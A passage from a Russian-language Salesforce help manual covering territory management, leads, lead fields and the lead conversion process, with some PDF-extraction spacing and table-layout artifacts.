назначенные территории вручную, принадлежат данной территории до тех пор, пока не будут удалены вручную.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Как работают ограничения возможностей?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Флажок «Ограничить назначение возможности», установленныйвзаписитерритории, позволяетсохранитьвозможности
в текущейилидочерних территорияхпривыполненииправилназначенияорганизаций. Нижеперечисленывозможные
исключения.

• Если организация возможности переносится в одну дочернюю территорию, то возможность назначается новой
территории организации. Данное исключение распространяется на те случаи, когда организация переносится в
несколько территорий, из которых только одна территория является дочерней для исходной территории.

• Если организация возможности переносится в несколько дочерних территорий, то поле территории возможности
становится пустым.

• Если организация возможности переносится за пределы текущей и дочерних территорий, то поле территории
возможности становится пустым.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Должны ли пользователю назначаться территории, назначенные его возможностям?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Пользователь, которомуназначенаоткрытая возможность, ноненазначена территорияданнойвозможности, назначается
территории, котораявсвязанномсписке «Назначенныепользователи» отображаетсябезфлажка «Активно в территории».

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

1464

Управление организациями по территорииПродажи клиентам



Что происходит при восстановлении организации или возможности, назначенной территории?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Восстановление организации или возможности инициирует восстановление назначения территории, но не активирует
оценку правил назначения организаций. Восстановленная запись может использовать территории, которые не
соответствуют новым правилам назначения организаций, заданным во время хранения данной записи в корзине.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

Какие типы записей поддерживают территории?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Поля территорий могут использоваться в записях организаций, возможностей или пользователей. Организации и
пользователи могут быть связаны с несколькими территориями. Возможности могут быть связаны только с одной
территорией.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы

При каких условиях правила назначения оценивают организации?

Прим.: Данные сведения относятся только к исходной функции управления территориями.

Ниже перечислены условия, при выполнении которых активные правила автоматически оценивают организации и
назначают их территориям.

• ОрганизациясозданапосредствомпользовательскогоинтерфейсаSalesforce, Force.com API иликлиентскогоприложения
(например, Connect Offline).

• Организация импортирована посредством мастера импорта.

• Организация создана путем преобразования интереса.

• Организация изменена и сохранена, если флажок «Выбрать по умолчанию» установлен для параметра «Флажок
"При сохранении оценить данную организацию по правилам территории"» вразделе «Свойствамакета». Если
правило назначения организации инициирует изменение ответственности за возможность, то возможность должна
быть доступна для переноса.

• Организация изменена и сохранена посредством Force.com API.

• Кнопка «Запуск правил» нажата на странице сведений о территории, при условии, что снят флажок «Исключить
из правил назначения территорий» для организации.

• Кнопка «Сохранить и запустить правила» нажата на странице управления правилами назначения организации,
при условии, что снят флажок «Исключить из правил назначения территорий» для организации.

• Повторяющиеся организации объединены.

СМ. ТАКЖЕ:

Управление территориями. Вопросы и ответы
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Отслеживание потенциальных возможностей как интересов

Интересы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отслеживайте потенциальных клиентов, помимо ваших контактов и возможностей, с
помощьюзаписейинтересовSalesforce. Послетогокак выквалифицировалисвоизаписи
интересов, преобразуйте их в контакты и создайте для них учетные записи (если только
у вас уже нет учетных записей в Salesforce). Надеемся, вам удастся таким образом создать
возможности, которые помогут вам повысить эффективность процесса продаж.

Независимо от используемой версии (Lightning Experience или Salesforce Classic), вы
работаете со списком интересов. В этом списке вы быстро создаете, находите и
обрабатываете интересы, на которых вы сосредоточены в данный момент.

С этими интересами можно связывать соответствующие события и задачи. А чтобы с
ними были связаны возможности, преобразуйте квалифицированные интересы в
контакты. Для любых записей интересов, которые вы отмечаете как
«Неквалифицированные», запланируйте пересмотр позднее, чтобы проверить, не
изменились ли у данных потенциальных клиентов потребности в ваших товарах и
услугах.

СМ. ТАКЖЕ:

Преобразование квалифицированных интересов

Управление электронной почтой и шаблонами в Lightning Experience

Управление рабочими процессами и просмотр прошлых действий в Lightning Experience

Рекомендации по созданию интересов

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены некоторые рекомендации по созданию интересов вручную для
отслеживания потенциальных клиентов.

• Вкладка «Интересы» в Salesforce Classicпозволяет назначать интересы автоматически
посредствомактивногоправиланазначенияинтересов. Дляэтого, установитефлажок
«Назначить с помощью активных правил назначения». В противном случае,
интерес назначается текущему пользователю.

При автоматическом назначении нового интереса тип записи интереса может
изменяться алгоритмом, выбранным администратором для правил назначения.

• Если группа сбыта использует подразделения, то подразделению нового интереса
автоматическиназначаетсястандартноеподразделениетекущегопользователя, кроме
тех случаев, когда вручную выбирается другое подразделение.

• Стандартный статус новых интересов определяется администратором.

• Интерес, помеченныйкакпрочитанный, неотображаетсявсписковомпредставлении «Моинепрочитанныеинтересы».
Тем не менее, интерес, сохраненный посредством кнопки «Сохранить и создать» в Salesforce Classic, помечается как
непрочитанный.
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Начальная страница интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Интересы»:
• «Чтение» для интересов

Для просмотра интересов:
• «Чтение» для интересов

Для создания интересов:
• «Создание» для

интересов

При выборе вкладки «Интересы» отображается начальная страница интересов.

• Чтобы открыть страницу со списком интересов, выберите нужное списковое
представление в раскрывающемся списке «Просмотр». Чтобы создать собственное
настраиваемое представление, щелкните ссылку «Создать новое представление».

Чтобы просмотреть интересы, доступные в очереди, выберите нужную очередь в
раскрывающемся списке. Система Salesforce добавляет соответствующее списковое
представление для любой очереди, созданной администратором.

Прим.: Модельединогообщегодоступакобъектуопределяет уровеньдоступа
пользователей к записям данного объекта в очередях.

Общедоступный: для чтения, записи и переноса
Пользователимогутпросматриватьиприниматьответственностьза записи,
доступные в любых очередях.

Общедоступный: для чтения и записи илиОбщедоступный: только для
чтения

Пользователи могут просматривать любые очереди, но принимать
ответственность только за записи, доступные в очередях, участниками
которых они являются, или, в зависимости от параметров общего доступа,
за записи, принадлежащие нижестоящим участникам очереди в иерархии
ролей или территорий.

Личное
Пользователимогут толькопросматриватьипринимать записи, доступные
в очередях, участниками которых они являются, или, в зависимости от
параметров общего доступа, записи, принадлежащие нижестоящим
участникам очереди в иерархии ролей или территорий.

Независимо от модели общего доступа, пользователи могут принимать
ответственность за записи, доступные в очередях, участниками которых они
являются, только при наличии полномочия «Редактирование». Независимо от
модели общего доступа или их участия в очередях, администраторы,
пользователи с полномочием «Изменить все» для обращений и пользователи
с полномочием «Изменение всех данных» могут просматривать и принимать
записи, доступные в любых очередях.

• Чтобы просмотреть краткий список интересов, соответствующих заданному критерию, выберите элемент
раскрывающегося списка в разделе «Недавниеинтересы». Чтобыпросмотреть сведения обинтересе, выберите имя
нужного интереса из списка. Чтобы изменить количество отображаемых элементов, выберите ссылку «Показать
25 элем.» или «Показать 10 элем.». Доступные поля определяются макетомпоиска «Вкладка "Интересы"», заданным
администратором, и параметрами безопасности полей, заданными пользователем (только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition). Нижеперечисленыкритериифильтрации, доступныевразделе
«Недавние интересы».

ОписаниеЗначение списка «Недавние интересы»

Последние 10 или 25 интересов, назначенных текущему
пользователю, которыедосихпорнебылипросмотрены

Мои непрочитанные интересы

или изменены. Данный список содержит записи, за
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ОписаниеЗначение списка «Недавние интересы»

которые несет ответственность только текущий
пользователь.

Последние 10 или 25 интересов, просмотренных
пользователем; самые последние просмотренные

Недавно просмотренные

интересы отображаются в списке первыми. Данный
список формируется на основе недавних элементов и
содержит записи, за которые несут ответственность
текущий и другие пользователи.

Последние 10 или 25 интересов, созданных
пользователем; самые последние созданные интересы

Недавно созданные

отображаются в списке первыми. Данный список
содержитзаписи, закоторыенесетответственностьтолько
текущий пользователь.

• Если включенафункция быстрого создания, то новый интерес может быть добавлен с помощью раздела «Быстрое
создание»набоковойпанелиначальнойстраницыинтересов. Илинажмитекнопку «Создать» вразделе «Недавние
интересы».

• Чтобы открыть отчет, щелкните имя нужного отчета в разделе «Отчеты».

• Чтобы просмотреть сводный список интересов, заполните поля в разделе «Резюме» и нажмите кнопку «Запустить
отчет».

• Чтобы выполнить необходимое действие над интересами, щелкните соответствующую ссылку в разделе
«Инструменты».

• Чтобы просмотреть интересы, предоставленные бизнес-партнерами посредством функции Salesforce to Salesforce,
выберите нужное списковое представление в разделе «Интересы от подключений».

СМ. ТАКЖЕ:

Интересы

Управление интересами

Социальные организации, контакты и интересы
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Переназначение интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы изменить или
принять ответственность за
интересы из очереди,
выполните следующие
действия.
• «Редактирование» для

интересов

Для пакетного переноса
интересов:
• «Редактирование» для

интересов

И

«Перенос записи» или
«Перенос интересов»

Можно брать интересы из очереди либо переназначать свои интересы коллегам.

Чтобы переназначить интересы из спискового представления или очереди, выберите
нужные интересы и измените ответственного. Если нужно переназначить сразу набор
интересов, то в меню «Настройка» введите «Пакетный перенос записей» в поле «Быстрый
поиск» и выберите «Пакетный перенос записей».

СМ. ТАКЖЕ:

Интересы

Поля интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Нижеперечисленыполя, доступныевинтересах. Взависимостиотиспользуемогомакета
страницы и параметров безопасности полей, некоторые поля могут быть скрыты или
недоступны для редактирования.

Если запись интереса добавлена из Data.com, то некоторые поля будут заполнены
значениями Data.com или D&B (при их наличии). Некоторые поля интересов Data.com
доступнытолько теморганизациям, которыеиспользуютконкретныйпродуктData.com.
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Принимает значение
Data.com или D&B

ОписаниеПоле

 (Data.com)Часть адреса интереса: название улицы (например, ул. Мира, 1).
Данное поле может содержать не более 255 символов.

Адрес

 (D&B)Сумма дохода компании интереса за год.Годовой доход

Имя кампании, ответственной за создание интереса. Данное
поле отображается только при создании интереса. Сведения,

Кампания

введенныев данноеполе, хранятся в связанномспискеинтереса
«Журнал кампании».

 (Data.com)Часть адреса интереса: название города (например, Москва).
Данное поле может содержать не более 40 символов.

Город

 (Data.com)Статусочистки записипосравнениюсData.com. Значения: «Не
сравнивалось», «Синхронизировано», «Просмотрено»,

Статус очистки

«Отличается», «Не найдено» и «Неактивно». Данное поле
доступно только организациям, использующим продукт
Data.com Prospector или функцию очистки Data.com Clean.

 (D&B)Названиекомпании, связаннойсинтересом. Данноеполеможет
содержать не более 255 символов.

Компания

 (D&B)Номер D-U-N-S — это уникальный девятизначный номер,
назначаемый каждому офису организации в базе данных D&B,

Номер D-U-N-S

компании
функции которого отличаются от функций других офисов.
Организации по всему миру используют номера D-U-N-S в
качестве международного стандарта для коммерческой
идентификациииотслеживания. Данноеполедоступно, только
если используется продукт Data.com Prospector или Data.com
Clean.

Прим.: Чтобы просмотреть полный номер D-U-N-S,

• добавьте интерес в систему Salesforce, или

• очистите интерес посредством Data.com, если он уже
доступен в Salesforce.

Если запись не добавлена или не очищена, то ее первые
пять цифр заменяются звездочками (*).

Название компании, переведенное на родной язык.Название компании (на
родном языке)

Часть адреса пользователя: название страны. Значение
выбираетсяизраскрывающегося списка стандартныхзначений

Страна

или вводится как текст. Поле, являющееся текстовым, может
содержать не более 80 символов.

Пользователь, создавшийинтерес, а такжедатаивремясоздания.
(Только для чтения)

Создано
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Принимает значение
Data.com или D&B

ОписаниеПоле

 (D&B)Ссылка на соответствующую запись компании D&B, которая
содержитполя D&B дляинтереса. Чтобысвязатьинтерессдругой

Компания D&B

записью компании D&B, воспользуйтесь функцией поиска.
Данное поле доступно только организациям, использующим
продуктData.com Premium ProspectorилиData.com Premium Clean.

 (Data.com)Код компании в Data.com. При сравнении записей Salesforce с
записями Data.com (посредством ручной или автоматической

Ключ Data.com

очистки) и обнаружении совпадений, числовое значение
данного поля используется для связывания двух записей.

Описание интереса. Данное поле поддерживает ввод не более
32 Кб данных. В отчетах отображаются только первые
255 символов.

Описание

Желает ли контакт, чтобы связь осуществлялась по телефону.
При использовании Data.com значение поля «Тел.» не

Не звонить

отображается в результатах поиска и бизнес-карточках, также
оно пусто в CSV-файлах, создаваемых при экспортировании
записей.

 (Data.com)Адрес эл. почтыинтереса. Адрес должен быть действительным
ииметь следующийформат: aivanov@kompaniya.ru. Данноеполе
может содержать не более 80 символов.

Чтобы отправить сообщение эл. почты с помощью личного
почтового приложения, щелкните адрес эл. почты в данном

Эл. почта

поле. Если в организации включена служба «Кнопки и ссылки
Gmail», щелкните ссылку Gmail напротив данного поля, чтобы
отправить сообщение эл. почты из аккаунта Gmail.
Дополнительную информацию см. в разделе «Использование
Gmail в системе Salesforce» на странице 3743.

Хочет ли контакт получать письма по электроннойпочте. При
использовании Data.com значение поля Адрес эл. почты не

Без рассылки по эл.
почте

отображается в результатах поиска и бизнес-карточках, также
оно пусто в CSV-файлах, создаваемых при экспортировании
записей.

Номерфакса интереса. Данное полеможет содержать не более
40 символов.

Факс

Номер факса интереса не добавляется в список рассылок по
факсу.

Без рассылки по факсу

 (Data.com)Личное имя интереса, отображаемое на странице
редактирования сведений об интересе. Данное поле может
содержать не более 40 символов.

Личное имя
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Принимает значение
Data.com или D&B

ОписаниеПоле

Личное имя интереса, переведенное на родной язык.Личное имя (на родном
языке)

 (Data.com)Основной род деятельности компании интереса. Запись
выбирается из раскрывающегося списка доступных значений,

Отрасль

заданныхадминистратором. Каждоезначениераскрывающегося
списка может содержать не более 40 символов.

 (Data.com)Фамилия интереса, отображаемая на странице редактирования
сведений об интересе. Данное поле может содержать не более
80 символов.

Фамилия

Фамилия интереса, переведенная на родной язык.Фамилия (на родном
языке)

Дата последнего изменения ответственного за интерес.Дата последнего переноса

Стандартная валюта для всех полей валюты в интересе.
Стоимость отображается в валюте интереса, а также

Валюта интереса

преобразуется в личную валюту пользователя. Данное поле
доступно только мультивалютным организациям.

Подразделение, которому принадлежит интерес. Данное поле
доступно только для организаций, использующих
подразделения для сегментирования данных.

Подразделение интереса

Назначенный ответственный за интерес.Ответственный за интерес

Имя поля, которое определяет значения раскрывающегося
списка, доступные для записи. Тип записи может быть связан с

Тип записи интереса

процессом интереса. Доступно в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition.

 (Data.com)Источникинтереса (например, реклама, партнерилиИнтернет).
Запись выбирается из раскрывающегося списка доступных

Источник интереса

значений, заданных администратором. Каждое значение
раскрывающегосяспискаможетсодержатьнеболее 40 символов.

Статусинтереса (например, Open, Contacted или Qualified). Запись
выбирается из раскрывающегося списка доступных значений,

Статус интереса

заданныхадминистратором. Каждоезначениераскрывающегося
списка может содержать не более 40 символов.

Отчествоинтереса, отображаемоена страницередактирования
сведений об интересе. Данное поле может содержать не более
40 символов.

Отчество

Прим.: Чтобы включить данное поле, обратитесь в
службу поддержки Salesforce. Введите строку
«Пользовательский интерфейс» в поле «Быстрый поиск»
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Принимает значение
Data.com или D&B

ОписаниеПоле

в меню «Настройка» и выберите пункт
«Пользовательский интерфейс». Затем выберите
Включить суффиксы для имен пользователей.

Отчество интереса, переведенное на родной язык.Отчество (на родном
языке)

Прим.: Чтобы включить данное поле, обратитесь в
службу поддержки Salesforce. Введите строку
«Пользовательский интерфейс» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт
«Пользовательский интерфейс». Затем выберите
Включить суффиксы для имен пользователей.

Номер мобильного телефона. Данное поле может содержать
не более 40 символов.

Мобильный тел.

Пользователь, который изменял поля интереса последним, а
также дата и время изменения. Данное поле не отслеживает

Изменено

изменения, внесенные в любые элементы связанного списка
интереса. (Только для чтения)

 (Data.com)Личное имя, отчество (бета-версия), фамилия и суффикс
(бета-версия) интереса, отображаемые на странице
редактирования сведений об интересе.

Имя

 (D&B)Количество сотрудников в компании интереса.Количество сотрудников

 (Data.com)Основной номер телефона интереса. Данное поле может
содержать не более 40 символов.

Тел.

Поле, определяющее принадлежность интереса
пользователю-партнеру. Данное поле доступно только для
чтения.

Организация-партнер

Определяет ценность или перспективу интереса (например,
Hot, Warm или Cold). Запись выбирается из раскрывающегося

Рейтинг

спискадоступныхзначений, заданныхадминистратором. Каждое
значение раскрывающегося списка может содержать не более
40 символов.

Флажок, обозначающийинтерес, которыйбылпросмотренили
изменен ответственным за интерес. Данныйфлажок не

Прочитано

отображается на страницах просмотра или редактирования
сведенийобинтересе. Интересы, помеченныекакпрочитанные,
отображаются в столбце «Не прочитано» списковых
представлений интересов без флажка.

Приветствие при обращении к интересу (например, господин,
госпожа, профессор). Запись выбирается из раскрывающегося

Приветствие

спискадоступныхзначений, заданныхадминистратором. Каждое

1473

Отслеживание потенциальных возможностей как интересовПродажи клиентам



Принимает значение
Data.com или D&B

ОписаниеПоле

значение раскрывающегося списка может содержать не более
40 символов.

Часть адреса пользователя: название области илиштата.
Значениевыбираетсяизраскрывающегося списка стандартных

Область/штат

значенийили вводится как текст. Поле, являющееся текстовым,
может содержать не более 80 символов.

Суффикс имени интереса, отображаемый на странице
редактирования сведений об интересе. Данное поле может
содержать не более 40 символов.

Суффикс

Прим.: Чтобы включить данное поле, обратитесь в
службу поддержки Salesforce. Введите строку
«Пользовательский интерфейс» в поле «Быстрый поиск»
в меню «Настройка» и выберите пункт
«Пользовательский интерфейс». Затем выберите
Включить суффиксы для имен пользователей.

 (Data.com)Должностьинтереса в компании. Данноеполеможетсодержать
не более 80 символов.

Должность

Флажок, обозначающий интерес, который не был просмотрен
или изменен ответственным за интерес. Данныйфлажок не

Не прочитано

отображается на страницах просмотра или редактирования
сведений об интересе. Интересы, помеченные как
непрочитанные, отображаются в столбце «Не прочитано»
списковых представлений интересов с флажком.

Список настраиваемых ссылок для интересов, заданных
администратором.

Настраиваемые ссылки

URL-адрес веб-сайта компании (например, www.acme.com).
Данное поле может содержать не более 255 символов;
отображаются только первые 50 символов.

Веб-сайт

 (Data.com)Часть адреса интереса: почтовый индекс. Данное поле может
содержать не более 20 символов.

Почтовый индекс

СМ. ТАКЖЕ:

Соотнесение при преобразовании интересов
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Преобразование квалифицированных интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для преобразования
интересов:
• «Создание» и

«Редактирование» для
интересов, организаций,
контактов и
возможностей

И

«Преобразование
интересов»

И

«Чтение» для всех
связанных кампаний

Для предотвращения
создания повторяющихся
записей при
преобразовании интересов:
• «Требовать проверку для

преобразованных
интересов»

Пусть процесс продаж продолжается, когда вы квалифицируете интерес и затем
преобразуете его в контакт. Отнесите этот контактлибок существующейучетнойзаписи
в Salesforceилик создаваемойзаписи. Еслиэтопреобразуемыйинтерес врезультатедаст
многообещающую сделку, создайте одновременно с этим запись о возможности.

Помните, что преобразование интереса нельзя отменить обратно. Так что при
преобразованииинтересов в контактыпроцесс иногда создает дублирующиеся записи.
В этом случае вы о них узнаете. Обработка таких дублирующихся записей зависит от
того, как администратор настроил управление повторами и преобразование интересов
Apex. Например, администратор может запросить, чтобы вы обрабатывали
дублирующиеся записи, прежде чем преобразование будет завершено.

1. В записи интереса, выбранной для преобразования, выберите имеющуюся учетную
запись или введите имя для новой записи для.

2. только Salesforce Classic:Если вы обновляете организацию-лицо, выберите вариант с
перезаписью исходного интереса в организации-лице значением из интереса.

3. Если нужно создать запись о возможности, присвойте ей имя.

4. Преобразуйте интерес.

СМ. ТАКЖЕ:

Вопросы преобразования интересов

Соотнесение при преобразовании интересов

1475

Отслеживание потенциальных возможностей как интересовПродажи клиентам



Вопросы преобразования интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел содержит сведения об алгоритмах преобразования перспективных
интересов в организации, контакты и возможности.

При преобразовании перспективных интересов система Salesforce переносит любых
участников кампании в новые контакты, а интересы становятся доступными только для
чтения. Если текущие организации и контакты используют имена, указанные для
интересов, то пользователь может обновить текущие организациии контакты. Система
Salesforce добавляет сведения из интереса в пустые поля; система Salesforce не
перезаписывает текущие данные организаций и контактов.

Все открытые и закрытые действия из интересов связываются с организациями,
контактамиивозможностями. Пользовательможетназначитьответственного за записи
изапланироватьдополнительныезадачи. Приназначенииновыхответственныхновому
ответственному назначаются только открытые действия. Сведения из настраиваемых
полейинтересамогутбытьдобавленывнастраиваемыеполяорганизации, контактаили
возможности. Преобразованные интересы не могут просматриваться пользователями, но отображаются в отчетах по
интересам. Система Salesforce обновляет системные поля преобразованных интересов «Дата последнего изменения» и
«Последнее изменение сделано» при изменении соответствующего значения раскрывающегося списка.

Еслиинтерес соответствует текущемуконтакту, приэтомобе записисвязанысоднойкампанией,
то статус участника кампании определяется наиболее длинным жизненным циклом кампании.

Кампании

Например, еслистатусуучастникаинтересаприсвоенозначение «Отправлено», астатусуучастника
контакта — значение «Отвечено», то последнее значение применяется к контакту.

Сведения, связанные с кампанией, всегда связываются с новой записью контакта, независимо от
уровня общего доступа пользователя к кампании.

Еслиинтерес связан снесколькимикампаниями, то кампания, связаннаяпоследней, применяется
к полю возможности «Основной источник кампании», независимо от уровня общего доступа
пользователя к кампании.

Если интерес преобразуется в текущую организацию, то данная организация не отслеживается
автоматически. Если интерес преобразуется в новую организацию, то новая организация

Chatter

отслеживается автоматически, пока функция отслеживания ленты для организаций не будет
отключена в параметрах Chatter.

При использовании продукта Data.com Premium добавление интереса Data.com инициирует
автоматическое создание соответствующей записи компании D&B (при ее наличии в Data.com)

Data.com/Компания
D&B

в системе Salesforce, а также связываниес записьюинтересапосредствомполя «Компания D&B».
Ниже перечислены действия, выполняемые при последующем преобразовании интереса.

• Аеслиорганизациясоздана врезультатепреобразования, то значениеполяинтереса «Номер
D-U-N-S компании» переносится в поле организации «Номер D-U-N-S», а значение
поля интереса «Компания D&B» переносится в поле организации «Компания D&B».

• Значение поля «Ключ Data.com» переносится в поле контакта «Ключ Data.com».

При использовании версии Data.com Corporate запись компании D&B не создается, но значение
поля интереса «Ключ Data.com» переносится в поле контакта «Ключ Data.com».
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Новым организациям, контактам и возможностям назначается подразделение интереса. Если
текущая организация обновляется во время преобразования интереса, то подразделение
организации не меняется, но наследуется новыми контактами и возможностями.

Подразделения

Так что при преобразовании интересов в контакты процесс иногда создает дублирующиеся
записи. В этом случае вы о них узнаете. Обработка таких дублирующихся записей зависит от

Управление
повторами

того, как администратор настроил управление повторами и преобразование интересов Apex.
Например, администратор может запросить, чтобы вы обрабатывали дублирующиеся записи,
прежде чем преобразование будет завершено.

Назначение территории возможности на основе фильтра не инициируется при создании
возможности посредством преобразования интереса.

Управление
территориями
предприятия

Если текущий контакт обновляется посредством преобразуемого интереса, то сведения об
интересе, доступные в полях типа «Раскрывающийся список со множественным выбором»,

Текущий контакт

переносятся в текущий контакт только при условии, что соответствующие поля контакта не
содержат значений.

Полеинтереса «Название компании (на родном языке)» автоматическисоотносится сполем
«Имя организации (на родном языке)» наряду со связанными стандартными полями имен.

Локальные имена
интересов

Если используются организации-лица, то интересы могут быть преобразованы в
организации-лицаилиорганизации-компании. Интересующиесяклиенты, неимеющиезначений

Организации-лица

в поле Компания конвертированы в организации-лица. Интересующиеся клиенты, имеющие
значения в поле Компания конвертированы в организации-компании.

Рекомендуем использовать разные типы записей интересов и макеты страниц для
дифференцирования интересов, которые должны быть преобразованы в организации-лица, и
интересов, которыедолжныбытьпреобразованыворганизации-компании. Вчастности, удалите
поле «Компания» из макетов страниц для интересов, которые будут преобразованы в
организации-лица. Затем сделайте поле «Компания» обязательным на макетах страниц для
интересов, которые будут преобразованы в организации-компании.

Припреобразованииинтересаиприкрепленииего корганизации-лицу, которойвладеет кто-то
другой, ответственный за организацию-лицо становится ответственным за контакт.

При преобразовании интереса, принадлежащего другому пользователю, и прикреплении его к
вашей собственной организации-лицу ответственный за интерес становится ответственным за
контакт.

Еслиинтересиспользует тип записи, то стандартныйтипзаписипользователя, преобразующего
интерес, назначается записям, созданным во время преобразования интереса.

Стандартныйтипзаписипользователя, преобразующегоинтерес, определяетзначенияисточника
интереса, доступные во время преобразования. Если нужные значения источника интереса

Типы записей

недоступны, рекомендуем добавить значения в стандартный тип записи пользователя,
преобразующего интерес.

Система автоматически соотносит стандартные поля интересов со стандартными полями
организаций, контактов и возможностей.

Порядок соотнесения настраиваемыхполей интересов с настраиваемымиполями организаций,
контактов и возможностей определяется администратором.

Стандартные и
настраиваемые поля
интересов
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Система назначает стандартные значения раскрывающегося списка для организаций, контактов
ивозможностейприсоотнесениипустыхстандартныхполейраскрывающегосяспискаинтересов.
Если организация использует типы записей, то пустые значения заменяются стандартными
значениями раскрывающегося списка нового ответственного за запись.

Если организация использует функцию управления территориями, то новая организация
оценивается правилами назначения организаций и может быть назначена как минимум одной

Управление
территориями

территории. Если правила назначают организацию одной территории, то возможность также
назначается этой территории. Еслиправиланазначаюторганизациюнесколькимтерриториям,
то возможность не назначается территориям.

При преобразовании интересов триггеры Apex срабатывают, а глобально обязательные
настраиваемые поля и правила проверки применяются только в том случае, если организация
поддерживает правила проверки и триггеры для преобразования интересов.

Система Salesforce пропускает фильтры поиска при преобразовании интересов, если флажок
«Выполнять проверку и триггеры при преобразовании интереса» не установленна странице
«Параметры интереса».

Триггеры

Интерес, связанныйсактивнымпроцессомутвержденияилисодержащийотложенныедействия
бизнес-правил, не может быть преобразован.

Преобразование интереса в организацию-лицо не инициирует выполнение бизнес-правил.

Бизнес-правило

Еслипреобразованиеинтереса выполняетсяпользователем, которыйне являетсяответственным
за интерес, то все задачи бизнес-правила, связанные с интересом и назначенные данному
пользователю, кромеэлектронныхпредупреждений, переназначаютсяответственномузаинтерес.
Задачи бизнес-правила, назначенные пользователям, которые не являются ответственными за
интересы и их преобразование, не меняются.

Если организация использует правила проверки и триггеры для преобразования интересов, то
преобразование интереса может инициировать выполнение действия бизнес-правила для
интереса. Например, активное бизнес-правило, обновляющее поле интереса или переносящее
ответственность за интерес, может быть инициировано преобразованием интереса, который
может даже отсутствовать на вкладке «Интересы» в результате преобразования. Новая задача,
созданнаябизнес-правиломврезультатепреобразованияинтереса, назначаетсяновому контакту
и относится к связанной организации или возможности.

СМ. ТАКЖЕ:

Преобразование квалифицированных интересов
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Соотнесение при преобразовании интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Узнайте, какие поля в записях интересов, которые вы преобразуете, сопоставляются с
полями во вновь созданной записи контакта, организации или возможности.

При преобразовании записей интересов стандартные поля интересов автоматически
сопоставляются с полями контакта, организации или возможности. При наличии
пользовательскихполейадминистраторуказываетполя, с которымионисопоставляются
во вновь созданных записях контакта, организации и возможности.

Соотнесение сПоле
интереса

Организация: Адрес для счета

Контакт: Почтовый адрес

Адрес

Организация: Годовой доходГодовой доход

Возможность: Основной источник кампании

Для интересов, связанных с несколькими кампаниями, в Salesforce в
возможность добавлена последняя связанная компания, даже если у
торгового представителя нет доступа к этой кампании.

Кампания

Организация: Имя организации

Контакт: Организация

Компания

Возможность: Имя организации

Возможность: Имя возможности

Организация: Имя организации (на родном языке)Название
компании (на
родном языке)

Контакт: ОписаниеОписание

Контакт: Не звонить

Данное поле не обновляется для интересов, преобразованных в
текущие контакты.

Не звонить

Контакт: Эл. почтаЭл. почта

Контакт: Без рассылки по эл. почте

Данное поле не обновляется для интересов, преобразованных в
текущие контакты.

Без рассылки
по эл. почте

Организация: Факс

Контакт: Факс

Факс

Контакт: Без рассылки по факсуБез рассылки
по факсу
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Соотнесение сПоле интереса

Контакт: Личное имяЛичное имя

Контакт: Личное имя (на родном языке)Личное имя (на
родном языке)

Организация: ОтрасльОтрасль

Контакт: ФамилияФамилия

Контакт: Фамилия (на родном языке)Фамилия (на родном
языке)

Организация: Ответственный

Контакт: Ответственный

Ответственный за
интерес

Возможность: Ответственный

Контакт: Источник интереса

Возможность: Источник интереса

Источник интереса

Контакт: МобильныйМобильный

Организация: СотрудникиКоличество
сотрудников

Возможность: Организация-партнер

Данное поле не обновляется для интересов, преобразованных в текущие возможности.

Организация-партнер

Организация: Тел.

Контакт: Тел.

Тел.

Организация: РейтингРейтинг

Контакт: ДолжностьДолжность

Организация: Веб-сайтВеб-сайт

Даты закрытия возможностей

Впроцессе преобразования интересов приложение Salesforce автоматическиназначает даты закрытия создаваемым вами
возможностям в зависимости от параметров финансового года в Salesforce.

Salesforce назначает даты закрытия возможностейЕсли финансовый год в
Salesforce

Последний день текущего финансового года.Стандартный
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Salesforce назначает даты закрытия возможностейЕсли финансовый год в
Salesforce

Последний день текущего периода отчетности. Если для текущей даты не
определенфинансовыйгод, тодатойзакрытиябудетконецтекущегокалендарного
квартала.

Настраиваемый

СМ. ТАКЖЕ:

Преобразование квалифицированных интересов

Вопросы преобразования интересов

Общий доступ к интересам в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
